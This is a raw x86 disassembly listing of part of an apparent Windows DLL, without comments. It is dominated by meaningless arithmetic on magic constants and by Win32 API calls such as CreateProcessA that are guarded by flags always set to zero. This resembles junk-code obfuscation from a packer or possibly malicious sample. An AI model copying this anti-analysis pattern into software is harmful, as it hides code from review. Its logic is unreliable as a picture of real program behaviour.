push 4
pop eax
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x47c], ebx
cmp dword [ebp - 0x47c], ebx
jl 0x10035e58
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1a4]
mov eax, dword [ebp - 0x83c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x1a4]
mov ecx, dword [ebp - 0x840]
mov eax, dword [ebp - 0x1a4]
cmp ecx, eax
mov eax, dword [ebp - 0x47c]
setg dl
add eax, edx
je 0x10035e00
push 3
mov dword [ebp - 0x20], ebx
pop ecx
jmp 0x10035df9
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x840], 0xfe10
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10035de8
jmp 0x10035e2b
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x58], 0x7cdd5376
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x215f8f50
setge al
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10035e4c
push 0xe15
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
dec dword [ebp - 0x47c]
jns 0x10035da9
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x1a4], ebx
je 0x10035e75
cmp dword [ebp - 0x20], ebx
jne 0x10035e71
cmp dword [ebp - 0x480], ebx
je 0x10035e75
mov eax, esi
jmp 0x10035e77
mov eax, ebx
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10035d7c
push 3
pop ecx
or edx, 0xffffffff
dec dword [ebp - 0x2c]
jns 0x10035d4b
mov ebx, 0xffff2a15
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10035eae
push eax
call dword [sym.imp.USER32.dll_SetCursor]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10035ecd
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035eb9
xor eax, eax
mov dword [ebp - 0x2c], 0x7230
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 0x8039d6b9
push 3
mov dword [ebp - 0x4c], 0xa945cb81
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10035f02
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc78], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035ef1
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c], 6
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [ebp - 0x2c]
jle 0x10035fd7
mov dword [ebp - 0x40], 0x2783de76
mov dword [ebp - 0x14], eax
jmp 0x10035f71
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6d0], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10035f60
mov eax, dword [ebp - 0x6c4]
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x6cc]
mov edx, dword [ebp - 0x1c]
sub edx, eax
mov eax, dword [ebp - 0x6cc]
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x6c4]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6d0]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xc70], eax
cmp dword [ebp - 0x1c], eax
jg 0x10035fd0
xor eax, eax
cmp dword [ebp - 0x6c4], eax
je 0x10035fd2
mov eax, esi
jmp 0x10035fd2
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10036049
mov dword [ebp - 0x14], eax
jmp 0x10035fed
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x364], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10035fdc
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x364], eax
mov eax, dword [ebp - 0x364]
neg eax
push 0
sbb eax, eax
neg eax
pop eax
setne al
cmp eax, 0xfffffffa
sbb eax, eax
xor edx, edx
neg eax
sub eax, dword [ebp - 0x364]
cmp eax, 0x268d9a65
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, dword [ebp - 0x360]
je 0x10036043
cmp dword [ebp - 0x364], eax
je 0x10036043
mov eax, esi
mov dword [ebp - 0xc70], eax
mov dword [ebp - 0x1c], esi
xor eax, eax
cmp dword [ebp - 0x1c], 0xfffffff9
jg 0x10036068
mov dword [ebp - 0x3c], 0x1e94
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x18], eax
jne 0x10036068
dec dword [ebp - 0x1c]
jmp 0x1003604e
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1003647e
mov esi, 0x6942a1e9
push 5
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], 0xfffffffb
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0xa40], ecx
mov dword [ebp - 0xa3c], ecx
mov dword [ebp - 0xa38], ecx
mov dword [ebp - 0xa34], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x100360c3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x774], 0xfffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100360aa
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x2c], 0xa8eac8b1
mov dword [ebp - 0x2c], eax
inc ebx
cmp dword [ebp - 0x2c], ebx
jg 0x10036177
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x100360ff
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100360fa
push 0x2101
call dword [sym.imp.GDI32.dll_GetStockObject]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x100360e4
mov eax, dword [ebp - 0x774]
cmp eax, dword [ebp - 0x2c]
jg 0x10036115
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10036117
mov ecx, ebx
jmp 0x10036119
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x2c]
push 0
cmp dword [ebp + eax*4 - 0x774], 0x864896e6
sbb eax, eax
add eax, 0xfffffffd
neg eax
sbb eax, eax
xor ebx, ebx
inc eax
cmp eax, 0x6b471dfd
mov eax, dword [ebp - 0x4c]
setle bl
xor edx, edx
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp edx, eax
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x14]
cmp ebx, ecx
setl al
xor ebx, ebx
mov dword [ebp - 0xa38], eax
inc ebx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], ebx
jle 0x100360d9
mov dword [ebp - 0x3c], 0x22ba7b7e
mov dword [ebp - 0x14], 0x91a049fe
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100361ab
push eax
push 0xf1f
push 0x13e7
push 0x1211
push 0x751
call dword [sym.imp.GDI32.dll_CreateBitmap]
xor eax, eax
mov dword [ebp - 0x14], 0x1a
jmp 0x100361d6
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100361d3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffd
jle 0x100361b4
mov dword [ebp - 0x40], 0x331c587c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x14], 0xfffffff6
mov dword [ebp - 0x58], 0xe5232406
mov dword [ebp - 0x3c], 0x7fcc65ad
mov dword [ebp - 0x58], 0xfffffffb
push 3
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0x3253674f
mov dword [ebp - 0x34], 0xcbd4daed
mov dword [ebp - 0x34], 0x6c20b133
mov dword [ebp - 0x50], 0x7268
mov dword [ebp - 0x20], eax
jmp 0x10036241
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1378], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10036230
mov dword [ebp - 0x1c], 0xfffffff0
cmp dword [ebp - 0x1c], 0xffffffea
jne 0x100362f8
mov dword [ebp - 0x2c], 6
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jge 0x1003628c
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003628e
mov eax, ebx
xor edx, edx
cmp eax, ebx
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setl cl
imul eax, ecx, 0x64de
test eax, eax
jne 0x100362b4
mov ecx, eax
cmp dword [ebp - 0x2c], eax
je 0x100362b6
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
xor edx, edx
add eax, ecx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x3c]
mov dword [ebp - 0x58], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffea
je 0x10036257
push 3
pop ecx
dec dword [ebp - 0x50]
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10036323
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe5c], 0xecb302af
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10036312
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1003636d
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], 0x47d2038
cmp dword [ebp - 0x14], 0xaf7f3e76
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffb
ja 0x10036374
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x10036376
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
imul eax, ecx
mov dword [ebp - 0xe54], eax
mov dword [ebp - 0x1c], 0xffffffe3
cmp dword [ebp - 0x1c], 0xffffffec
je 0x100363de
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xe6c8cac3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100363bc
mov ecx, 0xffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x374], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100363a8
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100363cf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
xor eax, eax
dec dword [ebp - 0x374]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffec
jne 0x10036391
mov eax, dword [ebp - 0x24]
push 0
mov ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x84]
sub eax, 2
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x84]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x84]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
cmp ecx, 0xef66
setne dl
or eax, 0xffffffff
sub eax, edx
xor ecx, ecx
cmp eax, 0xfffffff8
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + eax*4 - 0x84]
mov ecx, dword [ebp - 0x3c]
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x24]
pop eax
jns 0x10036079
xor esi, esi
mov ebx, 0xffff2a15
inc esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1003649a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x56c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10036486
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100364b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x680], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100364a3
xor eax, eax
mov dword [ebp - 0x678], eax
jmp 0x100364d7
mov eax, dword [ebp - 0x678]
mov dword [ebp + eax*4 - 0x56c], 0xb1cecb45
inc dword [ebp - 0x678]
cmp dword [ebp - 0x678], esi
jl 0x100364c0
imul eax, dword [ebp - 0x24], 0xf27a
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0x10036c8b
mov eax, dword [ebp - 0x84]
xor ecx, ecx
mov eax, dword [ebp - 0x84]
or edx, 0xffffffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x84]
jle 0x10036c8b
mov dword [ebp - 0x20], 0x2fe22364
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x14], 9
mov dword [ebp - 0x14], eax
inc ebx
cmp dword [ebp - 0x14], ebx
jge 0x1003654f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x33c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003653b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1003658a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x33c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 2
jmp 0x1003657d
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x33c], 0
jne 0x10036583
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jge 0x1003656d
dec dword [ebp - 0x20]
jns 0x10036557
xor eax, eax
mov dword [ebp - 0x2c], 0x1a
cmp dword [ebp - 0x2c], 0xfffffff4
jg 0x100366a9
or esi, 0xffffffff
jmp 0x100365a2
xor eax, eax
mov dword [ebp - 0x20], 0x4c000111
mov dword [ebp - 0x1c], 0x714a
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x50], 0xfffffff8
mov dword [ebp - 0x40], 0x88380095
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100365d3
push eax
call dword [sym.imp.USER32.dll_DestroyCursor]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003661d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
jne 0x100365ea
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x100365ec
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
add eax, ecx
jne 0x100365fa
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x100365fc
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
sub ecx, eax
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jle 0x10036625
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x21ebc5f9
mov dword [ebp - 0x14], 0x10c93b4e
mov dword [ebp - 0x14], eax
jmp 0x10036669
cmp byte [ebp - 0x41], 0
je 0x10036666
push eax
push eax
push 0x11b
push 0x14f3
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x18
mov byte [ebp - 0x41], al
jle 0x1003664b
cmp byte [ebp - 0x41], 0
je 0x10036693
push eax
push 0x994
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
dec dword [ebp - 0x3c]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff4
jle 0x100365a0
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov dword [ebp - 0x24], 0xba394643
xor eax, eax
mov dword [ebp - 0x50], 0xc9e4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100366d9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xac], 0xc93
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100366c1
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100366f7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11bc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100366e2
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x1003688c
xor esi, esi
inc esi
mov dword [ebp - 0x40], 0xfffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1003672f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x370], 0xfc07e17f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036716
xor eax, eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], eax
jl 0x10036803
mov dword [ebp - 0x3c], 0xcb1a7a81
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036765
push eax
push eax
push eax
push eax
push 0x138a
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xac], 0
je 0x1003677d
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003677f
mov eax, esi
jmp 0x1003677f
xor eax, eax
xor ecx, ecx
cmp eax, esi
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ebx, ebx
mov eax, dword [ebp + eax*4 - 0xac]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge bl
xor ecx, ecx
add ebx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0xac]
cmp ebx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setl dl
cmp edx, esi
jg 0x100367d6
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
push 0
mov eax, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xac], ecx
dec dword [ebp - 0x370]
pop eax
jns 0x10036741
cmp dword [ebp - 0x24], eax
jne 0x1003685a
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setg bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor edx, edx
cmp ecx, 0x7000
setne dl
sub edx, 0x57a2
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x370], edx
mov eax, dword [ebp - 0x50]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x50]
jne 0x1003685a
xor eax, eax
mov edx, eax
jmp 0x1003685c
mov edx, esi
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xac], ecx
lea eax, [edx + ecx]
mov dword [ebp - 0x11b4], eax
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10036706
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
xor ebx, ebx
inc ebx
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003689e
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
xor eax, eax
mov dword [ebp - 0x24], 0x67fa5c62
or edx, 0xffffffff
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x2c], 0x95520530
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100368d5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf04], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100368c1
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100368f7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc08], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100368de
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10036922
mov eax, dword [ebp - 0x24]
mov eax, 0xffff
cmp dword [ebp - 0x24], eax
sbb eax, eax
add eax, 0xa
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jg 0x100369fc
mov dword [ebp - 0x34], 0xbb101eb
xor eax, eax
mov dword [ebp - 0x30], 0xddbf4df7
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1003696d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1134], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10036954
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1003698d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1024], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10036975
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100369ac
push 0x2ca
push eax
push 0x2308
push 0x1e3d
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [ebp - 0x1020]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc08]
dec dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xf04]
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
jmp 0x10036a63
mov dword [ebp - 0x3c], 7
xor eax, eax
mov dword [ebp - 0x40], 0x40dd146f
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
je 0x10036a65
mov dword [ebp - 0x14], 0xe5697a12
mov dword [ebp - 0x2c], 0x12
jmp 0x10036a32
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xc79a83ad
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffee
jg 0x10036a25
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
mov dword [ebp - 0x40], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jne 0x10036a15
xor eax, eax
mov byte [ebp - 0x41], al
mov ecx, 0xffff
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x40], 0x84cb8f6c
mov dword [ebp - 0x3c], 0x34b0b4ef
mov dword [ebp - 0x3c], 0xfffffffc
mov dword [ebp - 0x34], 0xd68
mov dword [ebp - 0x3c], 0x89b58331
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x3c], 0x709e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10036abe
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x304], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036aa9
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10036b5e
mov eax, dword [ebp - 0x4c]
inc dword [ebp - 0x30]
jne 0x10036b10
mov eax, dword [ebp - 0x304]
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x300]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
setge cl
imul edx, ecx
xor ecx, ecx
add edx, 0x2718
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x300]
jge 0x10036b10
xor eax, eax
jmp 0x10036b12
mov eax, ebx
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
push 5
setl dl
xor ecx, ecx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
imul eax, dword [ebp - 0x3c], 0x7aeb
pop edx
cmp eax, edx
setle cl
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0x2eac4530
setne cl
imul ecx, dword [ebp - 0x300]
test ecx, ecx
jne 0x10036b5e
xor eax, eax
jmp 0x10036b60
mov eax, ebx
mov dword [ebp - 0x304], eax
cmp byte [ebp - 0x41], 0
je 0x10036b72
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov ebx, 0xffff2a15
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x24], eax
or edx, 0xffffffff
mov dword [ebp - 0x2c], edx
inc ecx
mov dword [ebp - 0x4c], ecx
